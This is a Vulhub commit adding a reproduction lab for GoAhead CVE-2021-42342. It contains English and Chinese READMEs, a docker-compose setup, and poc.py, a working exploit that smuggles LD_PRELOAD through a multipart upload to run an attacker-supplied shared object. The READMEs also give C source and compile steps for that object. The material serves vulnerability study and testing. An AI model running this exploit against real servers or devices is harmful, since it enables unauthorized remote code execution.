first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 91 KiB

View File

@@ -0,0 +1,59 @@
# GoAhead Web Server Environment Variables Injection and `LD_PRELOAD` Remote Code Execution (CVE-2021-42342)
[中文版本(Chinese version)](README.zh-cn.md)
An issue was discovered in GoAhead 4.x and 5.x before 5.1.5. In the file upload filter, user form variables can be passed to CGI scripts without being prefixed with the CGI prefix. This permits tunneling untrusted environment variables into vulnerable CGI scripts.
Attacker can use this feature to upload their shared object payload in the multipart form and hijack the `LD_PRELOAD` environment variable to execute arbitrary code.
This vulnerability is the patch bypass of the [CVE-2017-17562](https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562).
References:
- https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562
- https://ahmed-belkahla.me/post/2-methods-rce-0-day-in-goahead-webserver-pbctf-2021/
- https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg
## Vulnerable environment
Execute following commands to start a GoAhead 5.1.4:
```
docker compose up -d
```
Then, you can see the welcome page at `http://your-ip:8080`, CGI scripts is available at `http://your-ip:8080/cgi-bin/index`.
## Exploit
First of all, compile this hijack code to a dynamic shared library:
```C
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World\r\n\r\n", 16);
write(1, "Hacked\n", 7);
}
```
> Please notice that, since GoAhead is a compact embedded webserver running on almost any possible IoT device, the format of dynamic shared library is always depending on the target server architecture. In the real world, compiling exploits is not as easy as this manual suggests, although Vulhub could show you a simplest example.
Compile on a x86/64 environment:
```
gcc -s -shared -fPIC ./payload.c -o payload.so
```
Then, we are using [this script](poc.py) to reproduce the vulnerability.
```
python poc.py http://target-ip:8080/cgi-bin/index /path/to/payload.so
```
Hijack is successful:
![](1.png)

View File

@@ -0,0 +1,53 @@
# GoAhead Server 环境变量注入导致远程代码执行漏洞CVE-2021-42342
GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的Web Server多用于嵌入式系统、智能设备。其支持运行ASP、Javascript和标准的CGI程序。
这个漏洞是[CVE-2017-17562](https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562)漏洞补丁的绕过攻击者可以利用该补丁没有考虑到的multipart表单控制目标服务器的环境变量进而劫持`LD_PRELOAD`来执行任意代码。
参考链接:
- https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562
- https://ahmed-belkahla.me/post/2-methods-rce-0-day-in-goahead-webserver-pbctf-2021/
- https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg
## 漏洞环境
执行如下命令启动GoAhead 5.1.4
```
docker compose up -d
```
启动完成后,访问`http://your-ip:8080/`即可看到欢迎页面。访问`http://your-ip:8080/cgi-bin/index`即可查看到Hello页面即为CGI执行的结果。
## 漏洞复现
我们首先需要编译一个动态链接库而且需要和目标架构相同。所以在实战中如果对方是一个智能设备你可能需要交叉编译。因为Vulhub运行在`Linux x86_64`的机器中所以我们直接用Linux PC编译即可。动态链接库源码
```C
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World\r\n\r\n", 16);
write(1, "Hacked\n", 7);
}
```
这样,`before_main`函数将在程序执行前被调用。编译以上代码:
```
gcc -s -shared -fPIC ./payload.c -o payload.so
```
然后,我们使用[这个脚本](poc.py)来发送恶意数据包,复现漏洞:
```
python poc.py http://target-ip:8080/cgi-bin/index /path/to/payload.so
```
可见,我们在动态链接库中编写的劫持代码已经被成功执行:
![](1.png)

View File

@@ -0,0 +1,8 @@
version: '2'
services:
web:
image: vulhub/goahead:5.1.4
ports:
- "8080:80"
volumes:
- ./index:/var/www/goahead/cgi-bin/index

View File

@@ -0,0 +1,4 @@
#!/bin/bash
echo -ne "Content-Type: text/html\n\n";
echo "<title>example</title><h1>Example</h1>";

View File

@@ -0,0 +1,71 @@
import sys
import socket
import ssl
import random
from urllib.parse import urlparse, ParseResult
PAYLOAD_MAX_LENGTH = 16384 - 200
def exploit(client, parts: ParseResult, payload: bytes):
path = '/' if not parts.path else parts.path
boundary = '----%s' % str(random.randint(1000000000000, 9999999999999))
padding = 'a' * 2000
content_length = min(len(payload) + 500, PAYLOAD_MAX_LENGTH)
data = fr'''POST {path} HTTP/1.1
Host: {parts.hostname}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary={boundary}
Content-Length: {content_length}
--{boundary}
Content-Disposition: form-data; name="LD_PRELOAD";
/proc/self/fd/7
--{boundary}
Content-Disposition: form-data; name="data"; filename="1.txt"
Content-Type: text/plain
#payload#{padding}
--{boundary}--
'''.replace('\n', '\r\n')
data = data.encode().replace(b'#payload#', payload)
client.send(data)
resp = client.recv(20480)
print(resp.decode())
def main():
target = sys.argv[1]
payload_filename = sys.argv[2]
with open(payload_filename, 'rb') as f:
data = f.read()
if len(data) > PAYLOAD_MAX_LENGTH:
raise Exception('payload size must not larger than %d', PAYLOAD_MAX_LENGTH)
parts = urlparse(target)
port = parts.port
if not parts.port:
if parts.scheme == 'https':
port = 443
else:
port = 80
context = ssl.create_default_context()
with socket.create_connection((parts.hostname, port), timeout=8) as client:
if parts.scheme == 'https':
with context.wrap_socket(client, server_hostname=parts.hostname) as ssock:
exploit(ssock, parts, data)
else:
exploit(client, parts, data)
if __name__ == '__main__':
main()